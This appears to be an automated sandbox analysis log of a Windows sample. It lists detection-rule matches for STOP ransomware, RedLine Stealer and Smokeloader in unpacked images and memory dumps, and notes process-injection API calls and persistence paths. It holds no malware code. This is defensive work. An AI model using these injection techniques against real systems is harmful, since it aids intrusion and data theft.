Source: 18.0.253.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.253.exe.23d15a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 14.2.253.exe.23d15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.253.exe.23d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.253.exe.23d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 14.2.253.exe.23d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.253.exe.23d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.327806138.0000000000719000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.472600397.0000000000640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.327538196.00000000005F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000B.00000002.473007456.0000000000678000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000012.00000000.381594239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000002.448264858.00000000022E3000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.472415838.00000000005A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000000.307013938.00000000023E1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000E.00000002.450132397.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.327509086.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000011.00000000.373415476.0000000002C70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000B.00000002.473353545.0000000000871000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.328002456.00000000021E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 253.exe PID: 1692, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 253.exe PID: 4188, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 00430278 appears 112 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 00403C38 appears 71 times

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040156B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402241 NtQuerySystemInformation,	0_2_00402241
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040224D NtQuerySystemInformation,	0_2_0040224D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402251 NtQuerySystemInformation,	0_2_00402251
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401577 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401577
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402219 NtQuerySystemInformation,	0_2_00402219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040221B NtQuerySystemInformation,	0_2_0040221B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401727 NtMapViewOfSection,NtMapViewOfSection,	0_2_00401727
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401581 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401581
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401584 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401584
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401587 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401587
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_0040156B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_0040156B
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_00402241 NtQuerySystemInformation,	11_2_00402241
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_0040224D NtQuerySystemInformation,	11_2_0040224D
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_00402251 NtQuerySystemInformation,	11_2_00402251
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_00401577 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401577
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_00402219 NtQuerySystemInformation,	11_2_00402219
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_0040221B NtQuerySystemInformation,	11_2_0040221B
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_00401727 NtMapViewOfSection,NtMapViewOfSection,	11_2_00401727
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_00401581 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401581
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_00401584 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401584
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_00401587 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401587
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04EA4570 NtCreateThreadEx,	13_2_04EA4570

Source: file.exe	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: 253.exe.1.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: sfrvjvv.1.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

